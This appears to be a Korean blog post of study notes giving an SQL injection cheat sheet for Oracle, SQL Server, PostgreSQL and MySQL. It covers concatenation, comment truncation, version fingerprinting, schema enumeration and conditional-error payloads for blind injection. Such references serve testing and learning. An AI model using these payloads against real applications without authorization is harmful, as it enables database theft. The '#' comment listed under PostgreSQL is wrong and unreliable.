[web]SQL injection cheat sheet

zzsla·2023년 7월 6일
0
post-custom-banner

String concatenation

여러 문자열을 연결하여 단일 문자열로 만들 수 있다.

Oracle
'foo'||'bar'
Microsoft
'foo'+'bar'
PostgreSQL
'foo'||'bar'
MySQL
'foo' 'bar'
CONCAT('foo','bar')

Substring

지정된 오프셋과 길이로부터 문자열의 일부를 추출할 수 있다. 오프셋 인덱스는 1부터 시작한다.

Oracle
SUBSTR('foobar', 4, 2)
Microsoft
SUBSTRING('foobar', 4, 2)
PostgreSQL
SUBSTRING('foobar', 4, 2)
MySQL
SUBSTRING('foobar', 4, 2)

Comments

주석을 사용하여 query를 자르거나, 입력한 부분 이후의 query 부분을 제거 할 수 있다.

Oracle
--comment
Microsoft
--comment
/*comment*/
PostgreSQL
--comment
/*comment*/
#commet
MySQL
-- comment
/*comment*/

Database versions

데이터베이스의 유형과 버전을 확인하기 위해 데이터베이스에 query를 실행할 수 있다. 이 정보는 더 복잡한 공격을 생각할 때 유용하다.

Oracle
SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft
SELECT @@version
PostgreSQL
SELECT version()
MySQL
SELECT @@version

Database contents

데이터베이스에 있는 테이블과 테이블에 포함된 columns을 나열할 수 있다.

Oracle
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME_HERE'
PostgreSQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME_HERE'
MySQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME_HERE'

Conditional errors

단일 boolean조건으로 테스트해서 조건이 참이면 데이터베이스에 오류가 작동할 수 있다.

Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQL
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_Schema.tables),'a')
profile
[README]newbi security hacker :p
post-custom-banner

0개의 댓글